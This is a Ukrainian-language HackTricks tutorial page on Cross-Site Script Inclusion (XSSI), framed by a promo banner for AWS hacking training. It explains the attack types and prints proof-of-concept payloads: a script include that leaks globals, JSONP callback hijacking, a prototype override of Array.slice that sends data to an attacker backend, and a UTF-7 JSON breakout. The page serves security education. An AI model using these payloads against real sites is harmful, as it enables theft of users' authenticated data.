XSSI (Cross-Site Script Inclusion)

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Базова інформація

Перехоплення скриптів з іншого сайту (XSSI) - це вразливість, що виникає з природи тегу script в HTML. На відміну від більшості ресурсів, які підпадають під Політику однакового походження (SOP), скрипти можуть бути включені з різних доменів. Ця поведінка призначена для спрощення використання бібліотек та інших ресурсів, розміщених на різних серверах, але також вносить потенційний ризик для безпеки.

Основні характеристики XSSI:

  • Обхід SOP: Скрипти не підпадають під Політику однакового походження, що дозволяє їх включати з різних доменів.

  • Витік даних: Атакувальник може використовувати цю поведінку для читання даних, завантажених за допомогою тегу script.

  • Вплив на динамічний JavaScript/JSONP: XSSI особливо важливий для динамічного JavaScript або JSON з заповненням (JSONP). Ці технології часто використовують інформацію "загальної влади" (наприклад, файли cookie) для аутентифікації. Коли відбувається запит на скрипт до іншого хоста, ці облікові дані (наприклад, файли cookie) автоматично включаються в запит.

  • Витік токенів аутентифікації: Якщо атакувальник може обманом змусити браузер користувача запросити скрипт з сервера, яким вони керують, він може мати доступ до чутливої інформації, що міститься в цих запитах.

Типи

  1. Статичний JavaScript - Це представляє звичайну форму XSSI.

  2. Статичний JavaScript з аутентифікацією - Цей тип відрізняється тим, що для доступу потрібна аутентифікація.

  3. Динамічний JavaScript - Включає JavaScript, який динамічно генерує вміст.

  4. Не JavaScript - Вказує на вразливості, які не пов'язані з JavaScript безпосередньо.

Наведена інформація є підсумком https://www.scip.ch/en/?labs.20160414. Перевірте її для отримання додаткових деталей.

Звичайний XSSI

У цьому підході конфіденційна інформація вбудована в глобально доступний файл JavaScript. Атакувальники можуть ідентифікувати ці файли за допомогою методів, таких як читання файлів, пошук ключових слів або регулярних виразів. Після знаходження скрипту, що містить конфіденційну інформацію, його можна включити в шкідливий вміст, що дозволить несанкціонований доступ до чутливих даних. Нижче показано приклад техніки експлуатації:

<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script> alert(JSON.stringify(confidential_keys[0])); </script>

Динамічний-XSSI-на-основі-JavaScript та Автентифікований-XSSI-на-основі-JavaScript

Ці типи атак XSSI включають конфіденційну інформацію, яка динамічно додається до скрипту у відповідь на запит користувача. Виявлення може бути виконано шляхом відправлення запитів з та без куків та порівняння відповідей. Якщо інформація відрізняється, це може вказувати на наявність конфіденційної інформації. Цей процес можна автоматизувати за допомогою інструментів, таких як розширення Burp DetectDynamicJS.

Якщо конфіденційні дані зберігаються в глобальній змінній, їх можна використовувати за допомогою аналогічних методів, які використовуються в звичайному XSSI. Однак, якщо конфіденційні дані включені у відповідь JSONP, зловмисники можуть захопити функцію зворотного виклику для отримання інформації. Це можна зробити шляхом маніпулювання глобальними об'єктами або налаштування функції для виконання у відповідь JSONP, як показано нижче:

<script>
var angular = function () { return 1; };
angular.callbacks = function () { return 1; };
angular.callbacks._7 = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>
<script>
leak = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>

Для змінних, які не знаходяться в глобальному просторі імен, іноді можна використовувати підробку прототипу. Ця техніка використовує дизайн JavaScript, де інтерпретація коду включає в себе проходження по ланцюжку прототипів для знаходження викликаної властивості. Переписуючи певні функції, такі як slice у Array, зловмисники можуть отримати доступ до змінних, які не є глобальними та витікати їх:

Array.prototype.slice = function(){
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this);
};

Додаткові відомості про вектори атак можна знайти у роботі дослідника з безпеки Себастьяна Лекіса, який підтримує список векторів.

Не-Скриптовий XSSI

Дослідження Такеші Теради вводить ще одну форму XSSI, де Не-Скриптові файли, такі як CSV, витікають через кордон шляхом включення їх як джерел у тег script. Історичні випадки XSSI, такі як атака Джеремі Гроссмана 2006 року на читання повного адресного списку Google та витік даних JSON Джо Вокера 2007 року, підкреслюють серйозність цих загроз. Крім того, Гарет Хейс описує варіант атаки, що включає в себе UTF-7 закодований JSON для виходу за формат JSON та виконання скриптів, що ефективно в певних браузерах:

[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>
Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated